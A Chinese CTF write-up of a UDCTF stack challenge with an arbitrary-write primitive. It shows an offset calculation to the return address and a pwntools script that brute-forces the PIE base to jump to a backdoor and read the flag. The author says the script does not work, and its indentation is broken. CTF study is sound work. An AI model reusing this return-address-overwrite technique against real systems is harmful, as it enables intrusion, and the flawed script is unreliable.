首页 > 其他分享 >记录一道栈漏洞利用任意地址写

记录一道栈漏洞利用任意地址写

时间:2024-11-18 20:22:06浏览次数:1  
标签:getshell elf 漏洞 地址 偏移 70 大佬 任意

本题出自UDCTF
原题文件:
链接: https://pan.baidu.com/s/1utWjI0Z0LKkkGDD6-rq5Kw?pwd=1n4u 提取码: 1n4u

感谢大佬,这题一直不知道返回地址偏移,大佬一句话就给点醒了。所以,还是要多问。

静态分析

image
直接进vuln函数,题目已经给了提示,任意写
image

重要代码
image

代码分析:&v2[1]是基地址,v2为offset,v1为ret,即我们填入正确的偏移,和后们地址后,便会getshell

后门
image

如何计算偏移
image
image

var_70的大小为70,即rbp+rax*2+var_70 = rbp+8,一个简单的算数运算,即求出偏移为0x3c,60

exp

点击查看代码
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
for i in range(0xf):
    sleep(1)
    #p = remote('0.cloud.chals.io',16612)
	p = process([elf.path])

    p.sendafter(b'Write-What-Where:\n\n', b'60')

	#pie地址爆破

    num = i << 0xc
    pay = str(int(num + 0x33D))
    print(pay)
    print(type(pay))
    p.send(pay)

    try:
            p.sendline('cat flag')
            print(p.recv())
    except:
        pass
    p.close()
p.interactive()

问题
image

这里我通过,本地调试输入正确的偏移和地址可以拿到flag(本地flag),但是通过爆破脚本,却拿不到,包括远端getshell,如果有看到的大佬,请浇浇,本人会及时更改,防止误导感谢感谢

标签:getshell,elf,漏洞,地址,偏移,70,大佬,任意
From: https://www.cnblogs.com/K4N0/p/18553528

相关文章

  • Endnote 20文献管理中文软件安装包下载地址及安装教程!
    EndNote是SCI(ThomsonScientific公司)的官方软件,支持国际期刊的参考文献格式有3776种,写作模板几百种,涵盖各个领域的杂志。简单来说EndNote的功能就是替你管理文献,一键插入固定格式的参考文献。应该是在科研人员中最为流行的一款文献管理软件。Endnote整合了文献搜索、导......
  • CTF吧-渗透测试靶场-综合漏洞靶场
    这关为php反序列化抓包,修改download_file=1.jpg为download_file=upload.php去查看uploda.php的源代码<?phpheader('Content-type:text/html;charset=utf-8');if(isset($_POST['download_file'])){$file=$_POST['download_file'];if(preg_......
  • 静态IP地址变成169.254.x.x的解决办法
    电脑在配置固定IP地址后,突然不能上网了。查看本地以太网连接,发现在地址栏出现了一个169.254.x.x的IP地址,一开始采用网上流传的网络重置法,发现没有任何效果通过其他辅助判断,确认为APIPA故障转移问题,通过注册表方式修改ArpRetryCount来解决问题APIPA故障转移:在DHCP服务器出现故障......
  • 【漏洞复现】用友 YonBIP高级版 yonbiplogin 任意文件读取漏洞
    免责声明:        本文旨在提供有关特定漏洞的信息,以帮助用户了解潜在风险。发布此信息旨在促进网络安全意识和技术进步,并非出于恶意。读者应理解,利用本文提到的漏洞或进行相关测试可能违反法律或服务协议。未经授权访问系统、网络或应用程序可能导致法律责任或严......
  • 东胜物流软件 GetDataListCA SQL注入漏洞复现
    0x01产品简介东胜物流软件是青岛东胜伟业软件有限公司一款集订单管理、仓库管理、运输管理等多种功能于一体的物流管理软件。该公司初创于2004年11月(前身为青岛景宏物流信息技术有限公司),专注于航运物流相关环节的产品和服务。东胜物流信息管理系统货代版采用MS-SQLserver大型......
  • zlibrary入口网站/最新官网国内可用地址(持续更新)
    Z-Library(简称z-lib,前身为BookFinder)是一个影子图书馆和开放获取文件分享计划,用户可在此网络下载期刊文章以及各种类型的书籍。截止2022年6月12日,该网站共收录了10,456,034本书和84,837,646篇文章。zlibrary电脑客户端/安卓appzlibrary(windows/mac/安卓)客户端:https://pan.qu......
  • 网站的后台地址修改,网站后台地址修改方法
    修改网站后台地址通常涉及以下几个步骤:备份文件:在进行任何修改前,确保备份所有相关文件,防止意外损失。找到配置文件:通常,后台地址的配置文件位于网站的根目录或特定的子目录中,文件名可能是config.php或类似的文件。编辑文件:使用文本编辑器(如SublimeText、VSCode、Notepad++等)......
  • 【汇编语言】更灵活的定位内存地址的方法(三)—— 不同的寻址方式的灵活应用
    文章目录前言1.比较不同的寻址方式2.问题一3.问题一的分析与求解3.1分析3.1.1数据的存储结构3.1.2分析处理过程3.2代码实现4.问题二5.问题二的分析与求解5.1分析5.1.1数据的存储结构5.1.2分析处理过程5.2代码实现6.问题三7.问题三的分析与求解7.1分......
  • 【汇编语言】更灵活的定位内存地址的方法(二)—— 从 [bx+idata] 到 [bx+si+idata]:让你
    文章目录前言1.[bx+idata]1.1更加灵活的访问内存1.2示例1.3问题一1.4问题一的分析与求解2.用[bx+idata]的方式进行数组的处理2.1问题引入2.2原来的解决方案2.3新的解决方案2.3.1改进后的程序2.3.2还可以写成这样2.3.3用C语言来描述看看2.4比较与总结3.......
  • #渗透测试#SRC漏洞挖掘#网络运维# 黑客脚本编写03之脚本参数的传递和数学运算
    免责声明本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章阅读。                            ......